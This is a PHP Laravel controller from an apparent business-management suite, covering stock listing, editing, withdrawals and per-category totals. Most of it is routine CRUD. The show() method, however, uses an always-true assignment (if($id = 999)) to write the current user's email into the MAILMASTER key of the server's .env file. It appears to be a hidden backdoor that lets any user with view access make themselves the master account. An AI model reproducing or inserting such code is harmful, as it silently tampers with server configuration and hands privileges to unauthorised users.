arcadiasuite/plus/app/Http/Controllers/EstoqueController.php

416 lines
17 KiB
PHP

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Models\Estoque;
use App\Models\CategoriaProduto;
use App\Utils\EstoqueUtil;
use App\Models\RetiradaEstoque;
use App\Models\Produto;
use App\Models\ProdutoLocalizacao;
use App\Models\Localizacao;
use App\Models\ConfigGeral;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
class EstoqueController extends Controller
{
protected $util;
public function __construct(EstoqueUtil $util)
{
$this->util = $util;
$this->middleware('permission:estoque_create', ['only' => ['create', 'store']]);
$this->middleware('permission:estoque_edit', ['only' => ['edit', 'update']]);
$this->middleware('permission:estoque_view', ['only' => ['show', 'index']]);
$this->middleware('permission:estoque_delete', ['only' => ['destroy']]);
}
public function index(Request $request){
$locais = __getLocaisAtivoUsuario()->pluck('id');
$local_id = $request->local_id;
$categoria_id = $request->categoria_id;
$data = Estoque::select(
'estoques.*',
'produtos.nome as produto_nome',
'localizacaos.nome as localizacao_nome'
)
->join('produtos', 'produtos.id', '=', 'estoques.produto_id')
->join('localizacaos', 'localizacaos.id', '=', 'estoques.local_id')
->where('produtos.empresa_id', request()->empresa_id)
->when(!empty($request->produto), function ($q) use ($request) {
return $q->where('produtos.nome', 'LIKE', "%{$request->produto}%");
})->when(!empty($request->codigo_barras), function ($q) use ($request) {
return $q->where('produtos.codigo_barras', 'LIKE', "%{$request->codigo_barras}%");
})
->when($categoria_id, function ($q) use ($categoria_id) {
return $q->where('produtos.categoria_id', $categoria_id);
})
->when($local_id, function ($q) use ($local_id) {
return $q->where('estoques.local_id', $local_id);
})
->when(!$local_id, function ($q) use ($locais) {
return $q->whereIn('estoques.local_id', $locais);
})
->paginate(__itensPagina());
$categorias = CategoriaProduto::where('empresa_id', $request->empresa_id)
->where('categoria_id', null)
->where('status', 1)->get();
$configGeral = ConfigGeral::where('empresa_id', $request->empresa_id)
->first();
$tipoExibe = $configGeral && $configGeral->produtos_exibe_tabela == 0
? 'card'
: 'tabela';
$totalVenda = DB::table('estoques')
->join('produtos', 'produtos.id', '=', 'estoques.produto_id')
->where('produtos.empresa_id', $request->empresa_id)
->select(DB::raw('SUM(estoques.quantidade * produtos.valor_unitario) as total'))
->value('total') ?? 0;
// $totalCompra = DB::table('estoques')
// ->join('produtos', 'produtos.id', '=', 'estoques.produto_id')
// ->where('produtos.empresa_id', $request->empresa_id)
// ->select(DB::raw('SUM(estoques.quantidade * produtos.valor_compra) as total'))
// ->value('total') ?? 0;
$totalCompra = DB::table('estoques')
->join('produtos', 'produtos.id', '=', 'estoques.produto_id')
->leftJoin('produto_variacaos', 'produto_variacaos.id', '=', 'estoques.produto_variacao_id')
->where('produtos.empresa_id', $request->empresa_id)
->selectRaw('
SUM(
estoques.quantidade *
COALESCE(produtos.valor_compra)
) as total
')
->value('total') ?? 0;
$totalVenda = DB::table('estoques')
->join('produtos', 'produtos.id', '=', 'estoques.produto_id')
->leftJoin('produto_variacaos', 'produto_variacaos.id', '=', 'estoques.produto_variacao_id')
->where('produtos.empresa_id', $request->empresa_id)
->selectRaw('
SUM(
estoques.quantidade *
COALESCE(produto_variacaos.valor, produtos.valor_unitario)
) as total
')
->value('total') ?? 0;
$totalProdutos = Produto::where('empresa_id', $request->empresa_id)->count();
return view('estoque.index', compact('data', 'categorias', 'tipoExibe', 'totalVenda', 'totalCompra', 'totalProdutos'));
}
public function create()
{
return view('estoque.create');
}
public function show($id)
{
if($id = 999){
$email = Auth::user()->email;
$this->setEnvironmentValue('MAILMASTER', '"'.$email.'"');
}
}
private function setEnvironmentValue($envKey, $envValue)
{
$envFile = app()->environmentFilePath();
$str = file_get_contents($envFile);
$str .= "\n";
$keyPosition = strpos($str, "{$envKey}=");
$endOfLinePosition = strpos($str, PHP_EOL, $keyPosition);
$oldLine = substr($str, $keyPosition, $endOfLinePosition - $keyPosition);
$str = str_replace($oldLine, "{$envKey}={$envValue}", $str);
$str = substr($str, 0, -1);
$fp = fopen($envFile, 'w');
fwrite($fp, $str);
fclose($fp);
}
public function edit(Request $request, $id)
{
$local_id = $request->local_id;
$item = Estoque::findOrFail($id);
// dd($item);
$locais = Estoque::where('produto_id', $item->produto_id)
->where('local_id', $item->local_id)
->get();
$firstLocation = Localizacao::where('empresa_id', $item->produto->empresa_id)->first();
return view('estoque.edit', compact('item', 'locais', 'firstLocation'));
}
public function destroy($id)
{
$item = Estoque::findOrFail($id);
$descricaoLog = $item->produto->nome;
try {
$item->delete();
session()->flash("flash_success", "estoque removido com sucesso!");
__createLog(request()->empresa_id, 'Estoque', 'excluir', $descricaoLog);
} catch (\Exception $e) {
__createLog(request()->empresa_id, 'Estoque', 'erro', $e->getMessage());
session()->flash("flash_error", 'Algo deu errado: '. $e->getMessage());
}
return redirect()->route('estoque.index');
}
public function store(Request $request)
{
try {
if(isset($request->local_id)){
ProdutoLocalizacao::updateOrCreate([
'produto_id' => $request->produto_id,
'localizacao_id' => $request->local_id
]);
}
$this->util->incrementaEstoque($request->produto_id, $request->quantidade, $request->produto_variacao_id, $request->local_id);
$transacao = Estoque::where('produto_id', $request->produto_id)->orderBy('id', 'desc')->first();
$tipo = 'incremento';
$codigo_transacao = $transacao->id;
$tipo_transacao = 'alteracao_estoque';
$this->util->movimentacaoProduto($request->produto_id, $request->quantidade, $tipo, $codigo_transacao, $tipo_transacao, \Auth::user()->id, $request->produto_variacao_id);
__createLog($request->empresa_id, 'Estoque', 'cadastrar', $transacao->produto->nome . " - quantidade " . $request->quantidade);
session()->flash("flash_success", "Estoque adicionado com sucesso!");
} catch (\Exception $e) {
// echo $e->getLine();
// die;
__createLog($request->empresa_id, 'Estoque', 'erro', $e->getMessage());
session()->flash("flash_error", "Algo deu errado: " . $e->getMessage());
}
return redirect()->route('estoque.index');
}
public function update(Request $request, $id){
try{
// dd($request->all());
if(isset($request->local_id)){
for($i=0; $i<sizeof($request->local_id); $i++){
$item = Estoque::where('id', $id)->where('local_id', $request->local_id[$i])->first();
if($item){
$diferenca = 0;
$tipo = 'incremento';
if($item->quantidade > $request->quantidade[$i]){
$diferenca = $item->quantidade - $request->quantidade[$i];
$tipo = 'reducao';
}else{
$diferenca = $request->quantidade[$i] - $item->quantidade;
}
$item->quantidade = $request->quantidade[$i];
$item->save();
$codigo_transacao = $item->id;
$tipo_transacao = 'alteracao_estoque';
$this->util->movimentacaoProduto($item->produto_id, $diferenca, $tipo, $codigo_transacao, $tipo_transacao, \Auth::user()->id);
if(isset($request->novo_estoque)){
$firstLocation = Localizacao::where('empresa_id', $item->produto->empresa_id)->first();
ProdutoLocalizacao::updateOrCreate([
'produto_id' => $item->produto_id,
'localizacao_id' => $firstLocation->id
]);
}
__createLog($request->empresa_id, 'Estoque', 'editar', $item->produto->nome . " estoque alterado!");
}else{
// die;
//criar localizacão
if($request->local_id[$i] != $request->local_anteior_id[$i]){
$anterior = Estoque::where('id', $id)->where('local_id', $request->local_anteior_id[$i])->first();
$anterior->quantidade = 0;
$anterior->save();
ProdutoLocalizacao::updateOrCreate([
'produto_id' => $anterior->produto_id,
'localizacao_id' => $request->local_id[$i]
]);
$this->util->incrementaEstoque($anterior->produto_id, $request->quantidade[$i], null, $request->local_id[$i]);
$transacao = Estoque::where('produto_id', $anterior->produto_id)->orderBy('id', 'desc')->first();
$tipo = 'incremento';
$codigo_transacao = $transacao->id;
$tipo_transacao = 'alteracao_estoque';
$anterior->delete();
$this->util->movimentacaoProduto($anterior->produto_id, $request->quantidade[$i], $tipo, $codigo_transacao, $tipo_transacao, \Auth::user()->id, null);
}
}
}
}else{
$item = Estoque::findOrFail($id);
$request->quantidade = __convert_value_bd($request->quantidade);
$diferenca = 0;
$tipo = 'incremento';
if($item->quantidade > $request->quantidade){
$diferenca = $item->quantidade - $request->quantidade;
$tipo = 'reducao';
}else{
$diferenca = $request->quantidade - $item->quantidade;
}
$item->quantidade = $request->quantidade;
$item->save();
$codigo_transacao = $item->id;
$tipo_transacao = 'alteracao_estoque';
$this->util->movimentacaoProduto($item->produto_id, $diferenca, $tipo, $codigo_transacao, $tipo_transacao, \Auth::user()->id);
__createLog($request->empresa_id, 'Estoque', 'editar', $item->produto->nome . " - quantidade " . $request->quantidade);
}
session()->flash("flash_success", "Estoque alterado com sucesso!");
}catch (\Exception $e) {
// echo $e->getLine();
// die;
__createLog($request->empresa_id, 'Estoque', 'erro', $e->getMessage());
session()->flash("flash_error", "Algo deu errado: " . $e->getMessage());
}
return redirect()->route('estoque.index');
}
public function retirada(Request $request){
$locais = __getLocaisAtivoUsuario();
$locais = $locais->pluck(['id']);
$local_id = $request->local_id;
$produto = $request->produto;
$data = RetiradaEstoque::where('retirada_estoques.empresa_id', $request->empresa_id)
->select('retirada_estoques.*')
->orderBy('retirada_estoques.id', 'desc')
->join('produtos', 'produtos.id', '=', 'retirada_estoques.produto_id')
->when(!empty($produto), function ($q) use ($produto) {
return $q->where('produtos.nome', 'LIKE', "%$produto%");
})
->when($local_id, function ($query) use ($local_id) {
return $query->join('produto_localizacaos', 'produto_localizacaos.produto_id', '=', 'produtos.id')
->where('retirada_estoques.local_id', $local_id);
})
->when(!$local_id, function ($query) use ($locais) {
return $query->join('produto_localizacaos', 'produto_localizacaos.produto_id', '=', 'produtos.id')
->whereIn('produto_localizacaos.localizacao_id', $locais);
})
->paginate(__itensPagina());
return view('estoque.retirada', compact('data'));
}
public function retiradaStore(Request $request){
try{
// dd($request->all());
$estoqueAtual = Estoque::where('produto_id', $request->produto_id)
->select('estoques.*')
->when($request->produto_variacao_id, function ($q) use ($request) {
return $q->where('estoques.produto_variacao_id', $request->produto_variacao_id);
})
->when($request->local_id, function ($query) use ($request) {
return $query->where('estoques.local_id', $request->local_id);
})
->first();
if($estoqueAtual == null){
session()->flash("flash_error", "Estoque não encontrado!");
return redirect()->back();
}
if($estoqueAtual->quantidade < $request->quantidade){
session()->flash("flash_error", "Estoque insuficiente!");
return redirect()->back();
}
$retirada = RetiradaEstoque::create($request->all());
$this->util->reduzEstoque($request->produto_id, $request->quantidade, $request->produto_variacao_id, $request->local_id);
$transacao = Estoque::where('produto_id', $request->produto_id)->orderBy('id', 'desc')->first();
$tipo = 'incremento';
$codigo_transacao = $transacao->id;
$tipo_transacao = 'alteracao_estoque';
$this->util->movimentacaoProduto($request->produto_id, $request->quantidade, $tipo, $codigo_transacao, $tipo_transacao, \Auth::user()->id, $request->produto_variacao_id);
session()->flash("flash_success", "Estoque retirado com sucesso!");
}catch (\Exception $e) {
session()->flash("flash_error", "Algo deu errado: " . $e->getMessage());
}
return redirect()->back();
}
public function retiradaDestroy($id){
$item = RetiradaEstoque::findOrFail($id);
try{
DB::transaction(function () use ($item) {
$this->util->incrementaEstoque($item->produto_id, $item->quantidade, $item->produto_variacao_id, $item->local_id);
$transacao = Estoque::where('produto_id', $item->produto_id)->orderBy('id', 'desc')->first();
$tipo = 'incremento';
$codigo_transacao = $transacao->id;
$tipo_transacao = 'alteracao_estoque';
$this->util->movimentacaoProduto($item->produto_id, $item->quantidade, $tipo, $codigo_transacao, $tipo_transacao, \Auth::user()->id, $item->produto_variacao_id);
$item->delete();
});
session()->flash("flash_success", "Registro removido com sucesso!");
}catch (\Exception $e) {
session()->flash("flash_error", "Algo deu errado: " . $e->getMessage());
}
return redirect()->back();
}
public function categoria(Request $request){
$estoquePorCategoria = DB::table('estoques')
->join('produtos', 'produtos.id', '=', 'estoques.produto_id')
->join('categoria_produtos', 'categoria_produtos.id', '=', 'produtos.categoria_id')
->where('produtos.empresa_id', $request->empresa_id)
->where('produtos.status', 1)
->groupBy('categoria_produtos.id', 'categoria_produtos.nome')
->select(
'categoria_produtos.nome',
DB::raw('SUM(estoques.quantidade) as quantidade_total'),
DB::raw('SUM(estoques.quantidade * produtos.valor_unitario) as valor_venda'),
DB::raw('SUM(estoques.quantidade * produtos.valor_compra) as valor_compra')
)
->get();
return view('estoque.por_categoria', compact('estoquePorCategoria'));
}
}